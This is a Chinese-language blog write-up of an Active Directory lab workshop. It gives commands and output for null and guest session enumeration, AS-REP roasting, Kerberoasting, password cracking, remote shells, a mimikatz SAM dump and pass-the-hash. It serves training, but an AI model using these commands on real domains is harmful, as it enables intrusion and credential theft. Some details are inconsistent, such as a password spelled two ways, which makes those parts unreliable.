Active Directory渗透测试实战:从空会话到权限提升的技术解析

3 阅读5分钟

Active Directory渗透测试入门:由The Range Village @ Div0分享的实战经验

Cy3erS@up · 10分钟阅读 · 1天前 · 收听分享

在今天举办的div0活动中,我有幸预约到了由The Range Village联合创始人🧣Cher Boon SIM指导的动手实战Active Directory工作坊。

本次工作坊的最新动态

The Range Village 正在进行金票与银票的抽奖活动,记得在DEFCON大会上与他们见面哦😃

The Range Village 提供的免费培训预告:

  • Div0 下周六(2026年1月24日)Shell GYM:KK TAN主讲的Web渗透测试
  • 即将举办的活动:#BadgeLife in Singapore
  • 更多志愿者项目助你提升技能与职业发展路径

SINCON 优惠券及未领取优惠券

如果你需要工具安装指南 🔽 GitHub — ASYNC-Security/WinEntPT-GuideBook [Tools]

前言

本次工作坊的实验环境与 SINCON 2025 上的Active Directory工作坊完全相同。不过,为了做到对初学者友好,他们准备了完整的幻灯片和解题指南,帮助初学者更熟悉常见的AD攻击手法和AD结构。

在幻灯片中,他们介绍了Active Directory的角色、生态系统,以及AD环境中常见的错误配置和漏洞。此外,他们还梳理了在Active Directory攻击中会使用的常见技术,包括 T1135 — 网络共享发现T1201 — 密码策略发现。除了列举常见攻击技术,他们还提供了抓取的流量包,以便深入分析Kerberos认证过程。

从一开始,我们使用 空会话(NULL)Guest会话 来获取初始访问权限并进行账户枚举。找到Guest账户后,我们使用 nxctool 通过请求服务主体名称(SPN)的Kerberos服务票据来离线获取加密数据,并用 John the Ripper 破解加密。

获得初步据点后,我们专门寻找容易受到 AS-REP Roast攻击 的用户(稍后会解释),并使用 John the Ripper 破解他们的加密密码。成功获得第一个临时迁移凭证后,我们继续循环查找其他同样存在AS-REP Roast漏洞的凭证,并不断获取更多凭证。

根据讲师的分享,在权限提升之前,重新枚举共享文件和账户是一个重要的过程,这可能就是OSCP中“try harder”的含义吧😄

最后,我们还分享了如何通过获取“Administrator”的NTLM哈希来实现简单的权限提升。建议下次有机会一定要参加他们的工作坊体验一下 :)

准备工作

工具列表:

  • NetExec (nxc) — 网络执行工具(核心角色 — 枚举与执行)
  • Impacket
  • bloodyAD
  • mimikatz

确保你已准备好这些工具: GitHub — ASYNC-Security/WinEntPT-GuideBook [Tools]

故障排查

时间同步问题

在请求服务主体名称(SPN)的Kerberos服务票据时,时间不同步可能会导致 Kerberos会话错误:KRB_AP_ERR_SKEW,这是因为系统生成和验证票据时依赖精确的时间同步。

根据指南,我们可以使用以下命令进行配置:

sudo timedatectl set-ntp false
sudo ntpdate dc.async.local

然而,当我遇到“command not found”且没有NTP包时,我尝试安装NTP并遇到了以下问题:

└─$ sudo apt-get install ntp
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Package ntp is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or is only available from another source
However the following packages replace it:
  openntpd ntpsec
E: Package 'ntp' has no installation candidate

如果你的Linux系统显示上述信息,意味着你的机器正在使用更安全、加固的NTP替代方案。解决方案如下,安装 openntpd 包:

sudo apt install ntpsec
sudo apt install openntpd
sudo nano /etc/openntpd/ntpd.conf

将高亮部分的配置替换为以下命令,并取消 # sensor * 部分的注释:

servers dc.async.local

最后,按 CTRL + X,然后按 Y 退出并保存更改,记得重启服务。

名称解析

为了确保渗透测试的有效性,我们可以使用 tee 命令将名称解析添加到 /etc/hosts 文件中:

echo '10.2.10.2 DC.async.local async.local
10.2.10.16 FS.async.local
10.2.10.173 DEV.async.local' | sudo tee -a "/etc/hosts"

根据官方解题指南,建议列出所有域目录以便更好地枚举:

echo 'DC.async.local
FS.async.local
DEV.async.local' > targets.txt

初始访问与据点建立

空会话(NULL Session)

空会话也称为匿名认证[1],它允许攻击者使用“Anonymous”凭证访问,并继承内置组“Anonymous Logon”的访问权限。我们使用空用户名和密码来演示此攻击:

nxc smb targets.txt -u '' -p ''

输出结果:

SMB 10.2.10.2 445 DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:async.local) (signing:True) (SMBv1:False)
SMB 10.2.10.16 445 FS               [*] Windows Server 2022 Build 20348 x64 (name:FS) (domain:async.local) (signing:False) (SMBv1:False)
SMB 10.2.10.173 445 DEV              [*] Windows 11 Build 22621 x64 (name:DEV) (domain:async.local) (signing:False) (SMBv1:False)
SMB 10.2.10.2 445 DC               [+] async.local\:
SMB 10.2.10.16 445 FS               [-] async.local\: STATUS_ACCESS_DENIED
SMB 10.2.10.173 445 DEV              [-] async.local\: STATUS_ACCESS_DENIED

Guest会话

Guest账户是一个内置账户,通常用于让人们访问Windows计算机或域资源[1]。通常有两个Guest账户:一个用于域,另一个用于本地PC。

当我们使用错误的用户凭证时:

nxc smb targets.txt -u 'wrongaccount' -p '' --shares

这次我们使用错误的用户名 guests(而不是 wrongaccount)来展示结果。从枚举结果来看,我们能够访问FS域。

顺便提一下,如果你想阻止这种错误配置或“灾难”,除了禁用域账户中的Guest之外,还要确保同时禁用本地PC中的Guest,否则同样的问题会再次发生。

寻找“礼物”

你泄露的凭证或文件对黑客来说就是最大的“礼物”。然后我们使用 smbclient.py 访问共享文件:

smbclient.py 'guest'@fs.async.local

使用命令 shares,它显示了可用的共享文件。

从幻灯片中我们了解到,一些内置域用户对渗透测试人员非常有帮助,例如:

  • SYSVOLIPC$ — Windows机器 / 不太有趣
  • NETLOGON — 域控制器 / 间歇性地用于认证 / 不太有趣
  • SYSVOL — 域控制器 / 可以找到凭证(GPO、登录脚本)

然而,结果显示我们只有权限访问 IPC$public_docs

smbclient.py 'guest'@fs.async.local
Impacket v0.13.0.dev0+20250422.104055.27bebb13 - Copyright Fortra, LLC and its affiliated companies
Password:
Type help for list of commands
# use public_docs
# ls
drw-rw-rw-0 Sat Jan 17 12:43:28 2026 .
drw-rw-rw-0 Sat Jan 17 12:43:05 2026 ..
-rw-rw-rw-608 Sat Jan 17 12:43:28 2026 migration.txt
-rw-rw-rw-515 Sat Jan 17 12:43:28 2026 team_contact_list.csv
-rw-rw-rw-146 Sat Jan 17 12:43:28 2026 team_contact_list.txt
# get team_contact_list.csv

可能被攻击者利用的视角

阅读 migration.txt 后,发现它像是一封写给黑客的 邀请函。首先,它告诉我们用户会收到关于迁移通知的邮件,这给攻击者提供了两个可以利用的线索:

  1. 利用凭证后,他们可以挖掘更多细节或带有 .FROM.LG 后缀的临时用户名。这意味着通过获取用户的公开名称(如“员工”或“管理层”信息),攻击者可以收集受害者的全名或昵称,并将其与 .FROM.LG 组合成“用户名”,进行Kerberos密码喷洒攻击。
  2. 利用 T1566.001:钓鱼:鱼叉式钓鱼附件 技术,制作一个带有“临时账户详情”的PDF或TXT文件来诱骗受害者,或者使用CSRF技术,在恶意网站上以“虚假迁移策略”为由要求受害者更改密码。

回到实验环境,这意味着我们需要关注带有 .FROM.LG 后缀的域账户。

我们从CSV文件中找到了一些有用的凭证和数据。部门与职位显示了他们的相关角色以及可能访问域资源和本地PC的权限,邮箱可用于钓鱼和邮箱登录。但由于本次实践聚焦于AD,我们决定遵循官方解题指南,整理出用户名并对域账户进行Kerberos密码喷洒:

awk -F',' '{print $2}' team_contact_list.csv | tail -n +2 | tee users.txt
cat users.txt

输出:

Alice_LIM
John_SMITH
James_PARKER.FROM.LG
Sarah_DAVIS
Emily_WILSON

整理出用户名后,我们使用netExec进行Kerberos攻击:

nxc smb dc.async.local -u users.txt -p '' --kerberos

如何识别哪些账户的凭证是可破解的?

这里我们需要提到 AS-REP Roast攻击。我们可以看到 async.local\James_PARKER.FROM.LG 容易受到AS-REP Roast攻击。为了更容易理解,我们以官方幻灯片为例:

当我们使用 正确的用户名已知的正确用户名 认证Kerberos票据时,系统会抛出一个错误:ERR_PREAUTH_FAILED

第一个AS-REQ数据包通常是空的。然而,如果用户启用了 DONT_REQ_PREAUTH,KDC会回复 Encrypt(BobPassword + Timestamp),这意味着我们获得了密码(如果我们能够破解它)。

回到枚举结果,显示James_PARKER.FROM.LG账户是 AS-response roastable,意味着我们能够从AS-response中获取加密文件。

AS-REP Roast攻击:

nxc ldap DC.async.local -u 'James_PARKER.FROM.LG' -p '' --asreproast 'james.parker.tgt.enc'

然后我们得到了一个名为 james.parker.tgt.enc 的加密文件:

└─$ cat james.parker.tgt.enc
$krb5asrep$23$James_PARKER.FROM.LG@ASYNC.LOCAL:1d03bbc623f01e21647ddcc0bab6e09b$7724c501c23e418bc690f7fce89e14351bc01e18f24aade33ad73078ef866be4aa94ef407a24cd4514d2194a1d1429710608eee07ff3c4be45aabdfe03b42ce216b04a6d43b145fc895e77ddf79616e00e5b4bcb6bf53f9c56fd0a9f8d439b139cf85bed440faa4b39ed13f75388d5adef71a09c51a9cd7281b1eb76837ceed84a3b805d8efa7a1041eac36d007669ba0d89cf8a894899f2ce3d2960a18586694decd4086cf211014647c89ea24f52dddca01a3aa650617ee5b7429a87e10b50d8637dd11b3cfec125659a16c5172c02c1a509007e6571ad16ef3ae5afc3470a385b311f9dc6718b4369

从各种工具中,我们选择John来破解加密文件:

john --wordlist=/usr/share/wordlists/rockyou.txt ./james.parker.tgt.enc

破解结果:

James_PARKER.FROM.LG:november11

接下来我们枚举所有域计算机上的共享:

nxc smb targets.txt -u 'James_PARKER.FROM.LG' -p 'november11' --shares

从枚举结果中,我们得知James的凭证允许我们访问 newdevelopers 共享。

我们可以使用PowerShell访问来枚举更多数据:

powerview 'James_PARKER.FROM.LG':'november11'@dc.async.local

检查Developers组下的成员(LDAPS):

(LDAPS)-[dc.async.local]-[async\James_PARKER.FROM.LG]
PV > Get-DomainGroup -Identity 'Developers'

我们发现Developers组下有8个成员。

获取域用户后,我们可以捕获凭证。现在我们专注于容易受到AS-REP Roast攻击的用户,使用 PreAuthNotRequired 标志:

Get-DomainUser -PreAuthNotRequired -Properties sAMAccountName

现在我们捕获凭证进行破解:

nxc ldap DC.async.local -u 'James_PARKER.FROM.LG' -p 'november11' --asreproast asreproast.out

输出:

LDAP 10.2.10.2 389 DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:async.local)
LDAP 10.2.10.2 389 DC               [+] async.local\James_PARKER.FROM.LG:november11
LDAP 10.2.10.2 389 DC               [*] Total of records returned 7
john --wordlist=/usr/share/wordlists/rockyou.txt asreproast.out

获取到的凭证:

Taylor_PARRY:Karencita

Taylor_PARRY是“developers”组的成员之一,这可能赋予我们更高的ShareFile访问权限。

针对服务账户

接下来我们可以使用以下命令枚举所有服务账户:

powerview 'James_PARKER.FROM.LG':'november11'@dc.async.local
(LDAPS)-[dc.async.local]-[async\James_PARKER.FROM.LG]
PV > Get-DomainUser -SPN -Properties sAMAccountName

输出:

sAMAccountName     : svc_vdi
sAMAccountName     : svc_sql
sAMAccountName     : svc_web

然后我们对所有服务账户进行Kerberoast攻击:

nxc ldap DC.async.local -u 'James_PARKER.FROM.LG' -p 'november11' --kerberoast kerberoast.out

之后破解 svc_web 的密码:

john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast.out

结果:

svc_web:webmaster

重新枚举共享文件

我们访问 FS.async.local 上的共享文件以寻找更多线索:

smbclient.py 'svc_web':'webmaster'@FS.async.local
Impacket v0.13.0.dev0+20250422.104055.27bebb13 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use svc_home$
# tree
/svc_sql/config.xml
/svc_sql/sqlcmd_output.log
/svc_vdi/hd.key
/svc_vdi/s
/svc_web/web.config
/svc_web/web.debug.config
Finished - 9 files and folders

根据线索,我们在 web.config 文件中找到了以下凭证:

Tyler_ROSE:0yShGdq86AIG8RzdaAS5L

Get-DomainUser 查询中,我们可以确认 Tyler_ROSE 是 developers 组的一部分。此外,还有一个额外收获:显示他也是 Fileshare 的管理员。

powerview 'James_PARKER.FROM.LG':'november11'@dc.async.local
(LDAPS)-[dc.async.local]-[async\James_PARKER.FROM.LG]
PV > Get-DomainUser -Identity Tyler_ROSE -Properties memberOf
memberOf     : CN=Developers,CN=Users,DC=async,DC=local
               CN=Fileshare Admins,CN=Users,DC=async,DC=local

本地管理员

由于这是一个对初学者友好的实验环境,Windows Defender已被关闭。根据官方解题指南,有几种技术可以使用,但由于PowerShell环境,推荐使用 evil-winrm

psexec.py 'Tyler_ROSE':'OyShGdq86AIG8RzdaAS5L'@fs.async.local
wmiexec.py 'Tyler_ROSE':'OyShGdq86AIG8RzdaAS5L'@fs.async.local
atexec.py 'Tyler_ROSE':'OyShGdq86AIG8RzdaAS5L'@fs.async.local whoami
evil-winrm -i 'fs.async.local' -u 'Tyler_ROSE' -p 'OyShGdq86AIG8RzdaAS5L' --ssl

使用NTLM哈希进行权限提升

SAM文件位于 C:\windows\system32\config\SAM,存储了本地用户账户和组的哈希密码。

我们可以使用 mimikatz 来生成凭证:

*Evil-WinRM* PS C:\windows\tasks> .\mimikatz.exe
"token::elevate"
"lsadump::sam"
"exit"

然后我们可以使用netExec或psexec配合哈希进行访问:

nxc smb fs.async.local -u 'Administrator' -H '4e22867d6a8caeb015639143b57c8f1d' --local-auth
psexec.py -hashes 4e22867d6a8caeb015639143b57c8f1d Administrator@fs.async.local

最后,建议阅读他们的官方解题指南,其中包含了更多技术和额外内容 :)

参考

Sensepost.com. (2024). SensePost | Guest vs Null session on Windows. [online] Available at: sensepost.com/blog/2024/g… [Accessed 17 Jan. 2026]. CSD0tFqvECLokhw9aBeRqoX3Zt30/7yYbYdQeeeRUsa/md9yqerSAgxln/OP5BXxijOeF+lmMTDJRPQ5Bxs73seo38Sz15oO7IftCO+/vfVELKggyEv950W9jrtRPeOKEGMwR1FE4YWL+fWaK2TlnBjBAsr25//KHw4Ywu/GotkLp/uN/U+fkEDAA7/oHrpJ